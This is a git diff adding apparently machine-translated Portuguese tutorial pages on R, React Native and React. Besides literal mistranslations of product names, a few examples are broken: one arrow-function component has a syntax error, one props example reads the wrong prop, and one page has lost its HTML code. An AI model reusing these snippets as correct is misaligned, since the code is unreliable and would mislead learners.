+## Ferramentas e Pacotes Populares de R
+
+*   [O RStudio](https://www.rstudio.com/products/rstudio/) é um ambiente de desenvolvimento integrado (IDE) para R. Ele inclui um console, editor de realce de sintaxe que suporta execução direta de código, bem como ferramentas para plotagem, histórico, depuração e gerenciamento de espaço de trabalho.
+*   [A Comprehensive R Archive Network (CRAN)](https://cran.r-project.org/) é uma fonte líder de ferramentas e recursos de R.
+*   [Tidyverse](https://www.tidyverse.org/) é uma coleção opinativa de pacotes R projetados para ciência de dados como ggplot2, dplyr, readr, tidyr, purr, tibble.
+*   [O data.table](https://github.com/Rdatatable/data.table/wiki) é uma implementação de `data.frame` de base `data.frame` foco em desempenho aprimorado e sintaxe concisa e flexível.
+*   Estrutura [brilhante](https://shiny.rstudio.com/) para a criação de aplicativos da web estilo painel em R. \*
+
+## Onde aprender R gratuitamente
+
+*   [Estúdio R](https://www.rstudio.com/online-learning/)
+    
+*   [Escola de código](http://tryr.codeschool.com/)
+    
+*   [Coursera - permite auditar o curso de graça, mas a certificação é paga.](https://www.coursera.org/learn/r-programming)
+    
+*   [DataCamp - permite concluir a parte introdutória gratuitamente.](https://www.datacamp.com)
+    
+*   [R para Data Science - é um livro que está disponível gratuitamente para leitura online.](http://r4ds.had.co.nz/)
+    
+*   [O edX permite que o curso de auditoria seja gratuito, mas a certificação é paga.](https://www.edx.org/learn/r-programming)
+    
+*   [R avançado](https://adv-r.hadley.nz/)
+    
+*   [RSeek](http://rseek.org/)
+    
+    ## Referência
+    
+*   [Instalando o R no Windows](http://youtu.be/Ohnk9hcxf9M)
+    
+*   [Instalando o R no Mac](https://youtu.be/uxuuWXU-7UQ)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/r/objects/index.md b/client/src/guide/portuguese/r/objects/index.md
new file mode 100644
index 0000000000..0dd3ee6f4a
--- /dev/null
+++ b/client/src/guide/portuguese/r/objects/index.md
@@ -0,0 +1,40 @@
+---
+title: Objects in R
+localeTitle: Objetos em R
+---
## Objetos
+
+R permite salvar os dados armazenando-os dentro de um objeto R.
+
+## O que é um objeto?
+
+É apenas um nome que você pode usar para acessar os dados armazenados. Por exemplo, você pode salvar dados em um objeto como a ou b.
+
+```r
+> a <- 5 
+ > a 
+ [1] 5 
+```
+
+## Como criar um objeto em R?
+
+1.  Para criar um objeto R, escolha um nome e use o símbolo de menor que, `<` , seguido por um sinal de menos, `-` , para salvar dados nele. Essa combinação parece um seta, `<-` . R fará um objeto, dará seu nome e armazenará nele tudo segue a seta.
+    
+2.  Quando você pergunta a R o que está em um, ele diz na próxima linha. Por exemplo:
+    
+
+```r
+> die <- 1:6 
+ > die 
+ [1] 1 2 3 4 5 6 
+```
+
+3.  Você pode nomear um objeto em R quase o que quiser, mas existem algumas regras. Primeiro, um nome não pode começar com um número. Segundo, um nome não pode usar alguns símbolos especiais, como `^, !, $, @, +, -, /, or *` :
+    
+4.  R também entende de capitalização (ou diferencia maiúsculas de minúsculas), então nome e nome se referirão a objetos diferentes.
+    
+5.  Você pode ver quais nomes de objetos você já usou com a função `ls()` .
+    
+
+## Referências
+
+[Documentos oficiais](https://cran.r-project.org/manuals.html) [Objetos em R por r-blogueiros](https://www.r-bloggers.com/classes-and-objects-in-r/) [CRAN](https://cran.r-project.org/doc/manuals/r-release/R-lang.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react-native/basic-commands/index.md b/client/src/guide/portuguese/react-native/basic-commands/index.md
new file mode 100644
index 0000000000..de424e41a6
--- /dev/null
+++ b/client/src/guide/portuguese/react-native/basic-commands/index.md
@@ -0,0 +1,67 @@
+---
+title: Basic Commands
+localeTitle: Comandos Básicos
+---
+## Comandos Básicos
+
+Aqui você encontrará uma lista de comandos básicos para começar a desenvolver aplicativos iOS e Android usando o React Native. Se você ainda não o instalou, é altamente recomendável seguir o [guia oficial](https://facebook.github.io/react-native/docs/getting-started.html) .
+
+### Começando um novo projeto
+
+Existem diferentes maneiras de inicializar um aplicativo nativo de resposta. Pode utilizar a **Expo** ou `create-react-native-app` (que por sua vez utiliza o Expo-Cli) para iniciar o seu novo projeto, mas com este método você tem mais controle do que aconteceu no seu projecto e pode comunicar, ajustar e escrever módulos próprios com bibliotecas nativas para iOS e plataforma móvel Android.
+```
+react-native init [PROJECT-NAME] 
+ cd [PROJECT-NAME] 
+```
+
+**Executar aplicativo no emulador Android**
+
+Este comando é auto-explicativo e, como ele diz, iniciará o emulador do Android e instalará o aplicativo que você acabou de criar. Você precisa estar na raiz do projeto para executar este comando.
+```
+react-native run-android 
+```
+
+**Executar aplicativo no emulador do iOS**
+
+Este comando faz exatamente o mesmo que o `react-native run-android` mas em vez do emulador Android, ele abre o simulador do iPhone.
+```
+react-native run-ios 
+```
+
+**Vincular dependências a projetos nativos**
+
+Algumas bibliotecas têm dependências que precisam ser vinculadas no código nativo gerado para o React Native. Se algo não funcionar depois da instalação de uma nova biblioteca, talvez seja porque você pula essa etapa.
+```
+react-native link [LIBRARY-NAME] 
+```
+
+**Pacote claro**
+
+Se algo não funcionar como esperado, talvez seja necessário limpar e criar um novo pacote com esse comando.
+```
+watchman watch-del-all 
+```
+
+**Suporte decoradores**
+
+O JSX não suporta decoradores por padrão, então você precisa instalar o plugin **Babel** para fazê-lo funcionar.
+```
+npm install babel-plugin-transform-decorators-legacy --save 
+ npm install babel-plugin-transform-class-properties --save 
+```
+
+### Exportar APK para executar no dispositivo
+
+Com os seguintes comandos, você terá um apk não assinado para poder instalar e compartilhar com seus colegas para fins de teste. Basta lembrar que este apk não está pronto para fazer o upload para a App Store ou produção. Você vai encontrar o seu apk fresco em _android / app / build / outputs / apk / app-debug.apk_
+
+**1\. Configuração de depuração do pacote**
+```
+react-native bundle --dev false --platform android --entry-file index.android.js --bundle-output ./android/app/build/intermediates/assets/debug/index.android.bundle --assets-dest ./android/app/build/intermediates/res/merged/debug 
+```
+
+**2\. Criar compilação de depuração**
+```
+cd android 
+ ./gradlew assembleDebug 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react-native/functional-vs-class-components/index.md b/client/src/guide/portuguese/react-native/functional-vs-class-components/index.md
new file mode 100644
index 0000000000..17fc5e0636
--- /dev/null
+++ b/client/src/guide/portuguese/react-native/functional-vs-class-components/index.md
@@ -0,0 +1,39 @@
+---
+title: Functional vs Class Components
+localeTitle: Componentes funcionais vs classe
+---
+## Reagir Nativo - Componentes Funcionais vs Classe
+
+No React Native, existem dois tipos principais de componentes que compõem um aplicativo - _componentes funcionais_ e _componentes de classe_ . Estes são estruturados da mesma forma que seriam em um aplicativo React regular para a web.
+
+### Componentes de Classe
+
+Os componentes de classe são classes do JavaScript ES2015 que estendem uma classe base do React chamado `Component` .
+
+```js
+class App extends Component { 
+    render () { 
+        return ( 
+            <Text>Hello World!</Text> 
+        ) 
+    } 
+ } 
+```
+
+Isso dá à classe `App` acesso aos métodos de ciclo de vida React, como `render` , bem como à funcionalidade state / props do pai.
+
+### Componentes Funcionais
+
+Componentes funcionais são mais simples. Eles não gerenciam seu próprio estado ou têm acesso aos métodos de ciclo de vida fornecidos pelo React Native. São literalmente antigas funções JavaScript. Eles também são conhecidos como componentes sem estado.
+
+```js
+const PageOne = () => { 
+    return ( 
+        <h1>Page One</h1> 
+    ); 
+ } 
+```
+
+### Resumo
+
+Os componentes de classe são usados ​​como componentes de contêiner para manipular o gerenciamento de estado e agrupar componentes filhos. Os componentes funcionais geralmente são usados ​​apenas para fins de exibição - esses componentes chamam funções de componentes pai para manipular interações do usuário ou atualizações de estado.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react-native/hello-world/index.md b/client/src/guide/portuguese/react-native/hello-world/index.md
new file mode 100644
index 0000000000..e85ab7b1ce
--- /dev/null
+++ b/client/src/guide/portuguese/react-native/hello-world/index.md
@@ -0,0 +1,41 @@
+---
+title: Hello World
+localeTitle: Olá Mundo
+---
+## Olá Mundo
+
+Em uma página da web tradicional, você poderia facilmente processar o `Hello World!` para a tela, escrevendo algum HTML como este:
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Test Page</title> 
+  </head> 
+  <body> 
+    <p>Hello World!</p> 
+  </body> 
+ </html> 
+```
+
+No React Native, não há DOM ou navegador, portanto, é necessário renderizar coisas na tela a partir de uma API móvel que o React Native fornece. Por exemplo, em vez de usar uma tag `<p>` como um wrapper para texto como você faria na Web, você usaria `<Text>` ; em vez de tags de contêiner `<div>` , você usaria `<View>` .
+
+```js
+import React, { Component } from 'react'; 
+ import { AppRegistry, View, Text } from 'react-native'; 
+ 
+ class App extends Component { 
+  render () { 
+    return ( 
+      <View> 
+        <Text> Hello World! </Text> 
+      </View> 
+    ); 
+  } 
+ } 
+ 
+ AppRegistry.registerComponent('AwesomeProject', () => App); 
+```
+
+Para renderizar o código na tela, em vez de abrir a página em um navegador, use um método especial `AppRegistry.registerComponent()` fornecido pelo React Native para renderizar o aplicativo em um dispositivo móvel.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react-native/index.md b/client/src/guide/portuguese/react-native/index.md
new file mode 100644
index 0000000000..4a2357bbeb
--- /dev/null
+++ b/client/src/guide/portuguese/react-native/index.md
@@ -0,0 +1,39 @@
+---
+title: React Native
+localeTitle: Reagir Nativo
+---
+## Reagir Nativo
+
+O React Native é uma estrutura de plataforma cruzada para a criação de aplicativos móveis que podem ser executados fora do navegador - mais comumente aplicativos iOS e Android
+
+Ele também pode ser usado para criar aplicativos em dispositivos Windows, sistemas operacionais de desktop e aplicativos da Apple TV, mas este guia abordará apenas os propósitos mais comuns - aplicativos para Android e iOS.
+
+**Índice**
+
+*   [O que é Reagir Nativo?](#what-is-react-native)
+*   [Razões para escolher Reagir Nativa](#reasons-to-choose-react-native)
+*   [Como começar com o Reagir Nativo](#how-to-get-started-with-react-native)
+
+### O que é Reagir Nativa
+
+Reagir Nativo cai entre aplicativos nativos e híbridos no espectro de aplicativos para dispositivos móveis. A interface do usuário que você cria é totalmente nativa e o desempenho geral do aplicativo é quase tão bom quanto gravar um aplicativo nativo. Também oferece a flexibilidade de incorporar exibições da Web (páginas da Web) ou código nativo (Java / Kotlin para Android, Objective C / Swift para iOS) dentro de seus aplicativos onde você desejar.
+
+Ele segue o mesmo padrão do React, em que as visualizações (o que você vê na tela) são renderizadas a partir dos arquivos JavaScript. A diferença é que ele fornece sua própria API para lidar com exibições de celular nativas em comparação ao DOM na Web. Se você está confuso sobre como isso funciona, siga este guia no freeCodeCamp e ele irá levá-lo passo a passo através destes conceitos.
+
+### Razões para escolher Reagir Nativa
+
+1.  **Reutilização de código** - Utiliza um código baseado que é compartilhado entre as duas plataformas.
+2.  **Reutilize ferramentas e habilidades da Web** - Reutilize o conhecimento, as ferramentas e os utilitários do JavaScript, como `axios` , Redux e outras bibliotecas que não exigem o DOM da Web.
+3.  **Otimizado para a produtividade do desenvolvedor** - Vem com recursos como o recarregamento de módulos hot / live e ferramentas de desenvolvedor do chrome para depuração fora da caixa!
+4.  **Desempenho** - Funciona melhor que estruturas de aplicativos híbridos, como Ionic e Cordova, já que não está usando visualizações da Web.
+5.  Apoio **corporativo** - Muitas empresas apoiam e contribuem para o React Native, incluindo o Walmart, o Airbnb, o Wix e, é claro, o Facebook.
+6.  **Comunidade** - A React Native tem uma comunidade grande (e crescente) com mais de 1500 colaboradores para o projeto principal e milhares de pessoas que contribuem para várias bibliotecas.
+7.  **Melhor experiência do usuário** - o Reagir Nativo usa o código JavaScript para renderizar componentes nativos do sistema operacional do seu telefone. Em outras palavras, a interface do usuário do aplicativo é totalmente nativa!
+8.  **Cross-Platform** - Uma ótima maneira de criar protótipos e economizar tempo ao criar um aplicativo universal de interface de usuário ou aplicativo móvel específico da plataforma que pode ser executado em dispositivos iOS e Android.
+
+### Como começar com o Reagir Nativo
+
+Existem duas maneiras fáceis e rápidas de começar a usar o React Native. Dependendo da sua situação, pode ser uma opção melhor para você.
+
+1.  [Criar Reagir App Nativo](https://www.npmjs.com/package/create-react-native-app) - Semelhante ao Create React App ele se levanta em execução usando o terminal.
+2.  [Expo](https://expo.io) - Melhor para prototipagem de um aplicativo ou se é estágio anterior. Usando a Expo você pode até mesmo criar um aplicativo rápido usando recursos de arrastar e soltar do snack.expo.io no broswer.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react-native/props/index.md b/client/src/guide/portuguese/react-native/props/index.md
new file mode 100644
index 0000000000..6cf2e66410
--- /dev/null
+++ b/client/src/guide/portuguese/react-native/props/index.md
@@ -0,0 +1,68 @@
+---
+title: Props
+localeTitle: Adereços
+---
+## Reagir Nativo - Adereços
+
+O termo props, abreviação de 'properties', significa algum tipo de dado que é passado de um componente para outro. Adereços sempre fluem para baixo a partir do componente pai para o filho.
+
+Em React, o componente filho tem acesso às informações de um pai por meio de adereços:
+
+```jsx
+// the child Header component receives the text prop and can access it via this.props.text 
+ class Header extends Component { 
+  render () { 
+    return ( 
+      <Text>{this.props.text}</Text> 
+    ) 
+  } 
+ } 
+ 
+ class App extends Component { 
+  render () { 
+    return ( 
+      <Header text="Welcome!" /> 
+    ); 
+  } 
+ } 
+```
+
+Isso também funciona da mesma maneira em componentes funcionais:
+
+```jsx
+// in functional components, props will be received as a parameter 'props' 
+ const Header = (props) => { 
+  return ( 
+    <Text>{props.title}</Text> 
+  ); 
+ }; 
+ 
+ class App extends Component { 
+  render () { 
+    return ( 
+      <View> 
+    <Header text="Welcome!" /> 
+      </View> 
+    ); 
+  } 
+ } 
+```
+
+Outras bibliotecas importadas também lhe darão acesso a propriedades adicionais dentro de seus componentes. Aqui está um exemplo da biblioteca [react-native-elements](https://github.com/react-native-training/react-native-elements) .
+
+```jsx
+import { Button } from 'react-native-elements'; 
+ 
+ // here 'buttonStyle' and 'title' are props passed into the Button component 
+ class App extends Component { 
+  render () { 
+    return ( 
+      <Button 
+    buttonStyle={{backgroundColor: 'red', borderRadius: 10}} 
+    title={`Submit`} 
+      /> 
+    ); 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react-native/screen-dimensions/index.md b/client/src/guide/portuguese/react-native/screen-dimensions/index.md
new file mode 100644
index 0000000000..cb8550119b
--- /dev/null
+++ b/client/src/guide/portuguese/react-native/screen-dimensions/index.md
@@ -0,0 +1,26 @@
+---
+title: Screen Dimensions
+localeTitle: Dimensões da tela
+---
+## Reagir Nativo - Dimensões da Tela
+
+Reagir Native usa Dots Per Inch (DPI) para medir o dimensionamento da interface do usuário (UI) e qualquer coisa exibida na interface do usuário. Esse tipo de medição permite que uma aplicação pareça uniforme em vários tamanhos de tela e densidades de pixels.
+
+Para casos de uso padrão, os aplicativos podem ser desenvolvidos sem a necessidade de conhecer as especificidades do dispositivo do usuário (por exemplo, densidade de pixels), pois os elementos da interface do usuário serão redimensionados automaticamente. Quando é necessário, há APIs disponíveis, como o `PixelRatio` para descobrir a densidade de pixels do dispositivo do usuário.
+
+Para obter a janela ou a altura / largura da tela de um dispositivo de usuários, o React Native tem uma API chamada `Dimensions` .
+
+```js
+import { Dimensions } from 'react-native'; 
+```
+
+Aqui estão os métodos que a API de `Dimensions` fornece:
+
+```js
+Dimensions.get('window').height; 
+ Dimensions.get('window').width; 
+ Dimensions.get('screen').height; 
+ Dimensions.get('screen').width; 
+```
+
+**Nota: Ocorreram alguns problemas conhecidos no passado com a API de dimensões, como não devolver as informações corretas quando um usuário gira o dispositivo. É melhor certificar-se de testar isso em dispositivos reais antes de implantar um aplicativo.**
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react-native/state/index.md b/client/src/guide/portuguese/react-native/state/index.md
new file mode 100644
index 0000000000..a2c0089640
--- /dev/null
+++ b/client/src/guide/portuguese/react-native/state/index.md
@@ -0,0 +1,76 @@
+---
+title: Component State
+localeTitle: Estado Componente
+---
+## Estado Componente
+
+Nos componentes de `Class` , existe uma maneira de armazenar e gerenciar o estado incorporado ao Reagir Nativo.
+
+```javascript
+class App extends Component { 
+  constructor () { 
+    super(); 
+    this.state = { 
+      counter: 0 
+    }; 
+  } 
+  incrementCount () { 
+    this.setState({ 
+      counter: this.state.counter + 1 
+    }); 
+  } 
+  decrementCount () { 
+    this.setState({ 
+      counter: this.state.counter - 1 
+    }); 
+  } 
+  render () { 
+    return ( 
+      <View> 
+        <Text>Count: {this.state.counter}</Text> 
+        <Button onPress={this.decrementCount.bind(this)}>-</Button> 
+        <Button onPress={this.incrementCount.bind(this)}>+</Button> 
+      </View> 
+    ); 
+  } 
+ } 
+```
+
+Estado é semelhante a adereços, mas é privado e totalmente controlado pelo componente. Aqui, o método `constructor()` está chamando o construtor da classe pai com `super();` - **`Component`** é a classe pai do `App` porque estamos usando a palavra-chave `extends` . O método `constructor()` também inicializa o objeto de estado do componente:
+```
+this.state = { 
+  counter: 0 
+ }; 
+```
+
+O estado pode ser exibido dentro do componente:
+
+```js
+{this.state.counter} 
+```
+
+Ou atualizado chamando:
+
+```js
+this.setState({}); 
+```
+
+**Nota:** Além de sua criação inicial no método `constructor()` seu componente, você nunca deve modificar diretamente o estado do componente com `this.state =` . Você deve usar `this.setState` como pode ser visto nas funções `incrementCount` e `decrementCount` acima.
+
+A contagem é incrementada e decrementada chamando as funções passadas aos manipuladores do `onPress` da mesma forma que seriam se você chamasse um manipulador de cliques do JavaScript na web.
+
+_ASIDE: No primeiro exemplo, `<Button>` é um componente personalizado; é uma combinação de `<TouchableOpacity>` e `<Text>` da API React Native:_
+
+```js
+const Button = ({ onPress, children, buttonProps, textProps }) => { 
+  const { buttonStyle, textStyle } = styles; 
+  return ( 
+    <TouchableOpacity onPress={onPress} style={[buttonStyle, buttonProps]}> 
+      <Text style={[textStyle, textProps]}> 
+        {children} 
+      </Text> 
+    </TouchableOpacity> 
+  ); 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react-native/styling/index.md b/client/src/guide/portuguese/react-native/styling/index.md
new file mode 100644
index 0000000000..a2a93dbbe7
--- /dev/null
+++ b/client/src/guide/portuguese/react-native/styling/index.md
@@ -0,0 +1,118 @@
+---
+title: Styling
+localeTitle: Styling
+---
+## Reagir Nativo - Estilo
+
+O React Native fornece uma API para criar folhas de estilo e estilizar seus componentes: [StyleSheet](https://facebook.github.io/react-native/docs/stylesheet) .
+
+```jsx
+import React, { Component } from 'react'; 
+ import { StyleSheet, View, Text } from 'react-native'; 
+ 
+ export default class App extends Component { 
+  render () { 
+    return ( 
+      <View> 
+        <Text style={styles.header}>I am a header!</Text> 
+        <Text style={styles.text}>I am some blue text.</Text> 
+      </View> 
+    ); 
+  } 
+ } 
+ 
+ const styles = StyleSheet.create({ 
+  header: { 
+    fontSize: 20 
+  }, 
+  text: { 
+    color: 'blue' 
+  } 
+ }); 
+```
+
+Embora as folhas de estilo CSS regulares não sejam válidas, o superconjunto de CSS do React Native é muito semelhante ao CSS tradicional. Muitas propriedades CSS (por exemplo, `color` , `height` , `top` , `right` , `bottom` , `left` ) são as mesmas em StyleSheet. Qualquer propriedade CSS que tenha hifens (por exemplo `font-size` , `background-color` ) deve ser alterada para camelCase (por exemplo, `fontSize` , `backgroundColor` ).
+
+Nem todas as propriedades CSS existem no StyleSheet. Como não existe um conceito verdadeiro de pairar em dispositivos móveis, as propriedades de foco do CSS não existem no React Native. Em vez disso, o React Native fornece [componentes tocáveis](https://facebook.github.io/react-native/docs/handling-touches#touchables) que respondem a eventos de toque.
+
+Os estilos também não são herdados como no CSS tradicional. Na maioria dos casos, você deve declarar o estilo de cada componente.
+
+### Layouts Flexbox
+
+O Reagir Native usa uma implementação do [flexbox](https://facebook.github.io/react-native/docs/flexbox) semelhante ao padrão da web. Por padrão, os itens na exibição serão configurados para `display: flex` .
+
+> Se você não quiser usar o flexbox, também é possível organizar componentes React Native por meio de posicionamento `relative` ou `absolute` .
+
+Flexbox in React Native defaults para `flexDirection: column` , em vez de `flex-direction: row` (padrão da web). O valor da `column` exibe itens flexíveis verticalmente, que acomodam dispositivos móveis na orientação retrato.
+
+Para saber mais sobre o flexbox, visite [este guia detalhado sobre CSS-Tricks](https://css-tricks.com/snippets/css/a-guide-to-flexbox/) e uma abordagem de aprendizagem gamificada com o [Flexbox Froggy](http://flexboxfroggy.com/) .
+
+### Componentes estilizados
+
+Incluir muitos estilos em um arquivo com um componente nem sempre é fácil de manter. Componentes com estilo podem resolver esse problema.
+
+Por exemplo, um componente Button pode ser usado em vários locais em um aplicativo. Copiar e colar o objeto de estilo com cada instância do Button seria ineficiente. Em vez disso, crie um componente Button com estilo e reutilizável:
+
+```jsx
+import React from 'react'; 
+ import { Text, TouchableOpacity } from 'react-native'; 
+ 
+ const Button = ({ onPress, children }) => { 
+  const { buttonStyle, textStyle } = styles; 
+  return ( 
+    <TouchableOpacity onPress={onPress} style={buttonStyle}> 
+      <Text style={textStyle}> 
+        {children} 
+      </Text> 
+    </TouchableOpacity> 
+  ); 
+ }; 
+ 
+ export default Button; 
+ 
+ const styles = { 
+  textStyle: { 
+    alignSelf: 'center', 
+    color: '#336633', 
+    fontSize: 16, 
+    fontWeight: '600', 
+    paddingTop: 10, 
+    paddingBottom: 10 
+  }, 
+  buttonStyle: { 
+    backgroundColor: '#fff', 
+    borderWidth: 1, 
+    borderColor: '#336633', 
+    paddingTop: 4, 
+    paddingBottom: 4, 
+    paddingRight: 25, 
+    paddingLeft: 25, 
+    marginTop: 10, 
+    width: 300 
+  } 
+ }; 
+```
+
+O componente Button com estilo pode ser facilmente importado e usado em todo o aplicativo sem declarar repetidamente o objeto de estilo:
+
+```jsx
+import React, { Component } from 'react'; 
+ import { TextInput, View } from 'react-native'; 
+ import Button from './styling/Button'; 
+ 
+ export default class Login extends Component { 
+  render() { 
+    return ( 
+        <View> 
+          <TextInput placeholder='Username or Email' /> 
+          <TextInput placeholder='Password' /> 
+          <Button>Log In</Button> 
+        </View> 
+    ); 
+  } 
+ } 
+```
+
+### Bibliotecas para Styling
+
+Existem algumas bibliotecas populares para estilizar o React Native. Alguns deles fornecem recursos semelhantes ao [Bootstrap](../../bootstrap/index.md) , incluindo formulários padrão, estilos de botão e opções de layout de página. Uma das bibliotecas mais populares é o [estilo de componentes](https://github.com/styled-components/styled-components) . Existem muitos outros que você pode encontrar no npm e no GitHub para experimentar por si mesmo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react-native/touchables/index.md b/client/src/guide/portuguese/react-native/touchables/index.md
new file mode 100644
index 0000000000..80dbf89664
--- /dev/null
+++ b/client/src/guide/portuguese/react-native/touchables/index.md
@@ -0,0 +1,48 @@
+---
+title: Touchables
+localeTitle: palpável
+---
+## Reagir Nativo - Touchables
+
+Alguns dos principais recursos dos dispositivos móveis giram em torno das interações de toque do usuário. Como um aplicativo para dispositivos móveis lida e responde a essas interações pode fazer ou quebrar a experiência do usuário.
+
+Reagir navios nativos com um componente `Button` que funciona para muitas interações `onPress` padrão. Por padrão, ele dará ao usuário feedback alterando a opacidade para mostrar que o botão foi pressionado. Uso:
+
+```js
+<Button onPress={handlePress} title="Submit" /> 
+```
+
+Para casos de uso mais complexos, o React Native tem APIs construídas para lidar com interações da impressora chamadas `Touchables` .
+```
+TouchableHighlight 
+ TouchableNativeFeedback 
+ TouchableOpacity 
+ TouchableWithoutFeedback 
+```
+
+Cada um desses componentes Tocável pode ser estilizado e usado com uma biblioteca, como o `Animated` integrado, permitindo que você faça seus próprios tipos de feedback personalizado do usuário.
+
+Alguns exemplos de uso desses componentes:
+
+```js
+// with images 
+ <TouchableHighlight onPress={this.handlePress}> 
+  <Image 
+    style={styles.button} 
+    source={require('./logo.png')} 
+  /> 
+ </TouchableHighlight> 
+ 
+ // with text 
+ <TouchableHighlight onPress={this.handlePress}> 
+  <Text>Hello</Text> 
+ </TouchableHighlight> 
+```
+
+Você também pode lidar com diferentes tipos de pressionamentos de botão. Por padrão, botões e toques são configurados para lidar com toques regulares, mas você também pode denotar uma função para chamar por pressionar e manter interações, por exemplo.
+
+```js
+<TouchableHighlight onPress={this.handlePress} onLongPress={this.handleLongPress}> 
+```
+
+Para ver todos os suportes disponíveis e como esses componentes funcionam, você pode ver [o código-fonte JavaScript para o Touchables aqui](https://github.com/facebook/react-native/tree/master/Libraries/Components/Touchable) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/a-react-environment-using-a-remote-code-repository/index.md b/client/src/guide/portuguese/react/a-react-environment-using-a-remote-code-repository/index.md
new file mode 100644
index 0000000000..17f5cfdba9
--- /dev/null
+++ b/client/src/guide/portuguese/react/a-react-environment-using-a-remote-code-repository/index.md
@@ -0,0 +1,13 @@
+---
+title: A React Environment Using a Remote Code Repository
+localeTitle: Um Ambiente Reagir Usando um Repositório de Código Remoto
+---
+Isto é como criar um ambiente React que não seja de produção utilizando um repositório de código remoto. Usaremos o cdnjs.cloudflare.com 16.0.0 react, react-dom e babel-standalone 6.26.0 para conseguir isso. O babel-polyfill é usado para compatibilidade com navegadores antigos.
+
+\`\` \`html
+
+   Olá reagir
+
+ReactDOM.render( <h1>Hello React</h1>, document.getElementById('helloreact'));
+
+\`\` \` Se este código for salvo com a extensão de arquivo html (helloReact.html), ele poderá ser aberto em um navegador da web ele irá executar React e Babel.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/component/index.md b/client/src/guide/portuguese/react/component/index.md
new file mode 100644
index 0000000000..df110ee976
--- /dev/null
+++ b/client/src/guide/portuguese/react/component/index.md
@@ -0,0 +1,77 @@
+---
+title: React - Components
+localeTitle: Reagir - Componentes
+---
+## Reagir - Componentes
+
+Componentes são reutilizáveis ​​em react.js. Você pode injetar valor em adereços como dado abaixo:
+
+```jsx
+function Welcome(props) { 
+  return <h1>Hello, {props.name}</h1>; 
+ } 
+ 
+ const element = <Welcome name="Faisal Arkan" />; 
+ ReactDOM.render( 
+  element, 
+  document.getElementById('root') 
+ ); 
+```
+
+`name="Faisal Arkan"` vai dar valor em `{props.name}` da `function Welcome(props)` e retornando o componente que deu valor pelo `name="Faisal Arkan"` , Depois disso o reagente irá renderizar o elemento em html.
+
+### Outras formas de declarar componentes
+
+Há muitas maneiras de declarar componentes ao usar o React.js, mas há dois tipos de componentes, componentes **_sem_** **_estado_** e componentes **_com estado_** .
+
+### Com estado
+
+#### Componentes do tipo de classe
+
+```jsx
+class Cat extends React.Component { 
+  constructor(props) { 
+    super(props); 
+ 
+    this.state = { 
+      humor: 'happy' 
+    } 
+  } 
+  render() { 
+    return( 
+      <div> 
+        <h1>{this.props.name}</h1> 
+        <p> 
+          {this.props.color} 
+        </p> 
+      </div> 
+    ); 
+  } 
+ } 
+```
+
+### Componentes sem estado
+
+#### Componentes funcionais (função de seta do ES6)
+
+```jsx
+const Cat = props => { 
+  return ( 
+    <div> 
+      <h1>{props.name}</h1> 
+      <p>{props.color}</p> 
+    </div>; 
+  ); 
+ }; 
+```
+
+#### Componentes de retorno implícito
+
+```jsx
+const Cat = props => 
+  <div> 
+    <h1>{props.name}</h1> 
+    <p>{props.color}</p> 
+  </div>; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/components/index.md b/client/src/guide/portuguese/react/components/index.md
new file mode 100644
index 0000000000..d3d69d259b
--- /dev/null
+++ b/client/src/guide/portuguese/react/components/index.md
@@ -0,0 +1,11 @@
+---
+title: Components
+localeTitle: Componentes
+---
+# Componentes
+
+Componentes são os blocos de construção do React.
+
+### Mais Informações:
+
+[Componentes e Adereços](https://reactjs.org/docs/components-and-props.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/fragments/index.md b/client/src/guide/portuguese/react/fragments/index.md
new file mode 100644
index 0000000000..89cab27d38
--- /dev/null
+++ b/client/src/guide/portuguese/react/fragments/index.md
@@ -0,0 +1,60 @@
+---
+title: Fragments
+localeTitle: Fragmentos
+---
+# Fragmentos
+
+Fragmentos são formas de renderizar vários elementos sem usar um elemento wrapper. Ao tentar renderizar elementos sem uma tag delimitadora no JSX, você verá a mensagem de erro `Adjacent JSX elements must be wrapped in an enclosing tag` . Isso ocorre porque, quando o JSX transpela, está criando elementos com seus nomes de tag correspondentes e não sabe qual nome de tag deve ser usado se vários elementos forem encontrados. No passado, uma solução frequente para isso era usar um wrapper para resolver esse problema. No entanto, a versão 16 do React trouxe a adição do `Fragment` , o que torna isso desnecessário.
+
+`Fragment` age como um wrapper sem adicionar divs desnecessários ao DOM. Você pode usá-lo diretamente da importação do React ou desconstruí-lo:
+
+```jsx
+import React from 'react'; 
+ 
+ class MyComponent extends React.Component { 
+  render(){ 
+    return ( 
+      <React.Fragment> 
+        <div>I am an element!</div> 
+        <button>I am another element</button> 
+      </React.Fragment> 
+    ); 
+  } 
+ } 
+ 
+ export default MyComponent; 
+```
+
+```jsx
+// Deconstructed 
+ import React, { Component, Fragment } from 'react'; 
+ 
+ class MyComponent extends Component { 
+  render(){ 
+    return ( 
+      <Fragment> 
+        <div>I am an element!</div> 
+        <button>I am another element</button> 
+      </Fragment> 
+    ); 
+  } 
+ } 
+ 
+ export default MyComponent; 
+```
+
+A versão 16.2 do React simplificou ainda mais esse processo, permitindo que tags JSX vazias sejam interpretadas como Fragmentos:
+
+```jsx
+return ( 
+  <> 
+    <div>I am an element!</div> 
+    <button>I am another element</button> 
+  </> 
+ ); 
+```
+
+#### Mais Informações:
+
+*   [React.Fragment (Documentação Oficial)](https://reactjs.org/docs/react-api.html#reactfragment)
+*   [Reagir v16.2.0: Suporte aprimorado para fragmentos](https://reactjs.org/blog/2017/11/28/react-v16.2.0-fragment-support.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/functional-components-vs-class-components/index.md b/client/src/guide/portuguese/react/functional-components-vs-class-components/index.md
new file mode 100644
index 0000000000..1e1093d391
--- /dev/null
+++ b/client/src/guide/portuguese/react/functional-components-vs-class-components/index.md
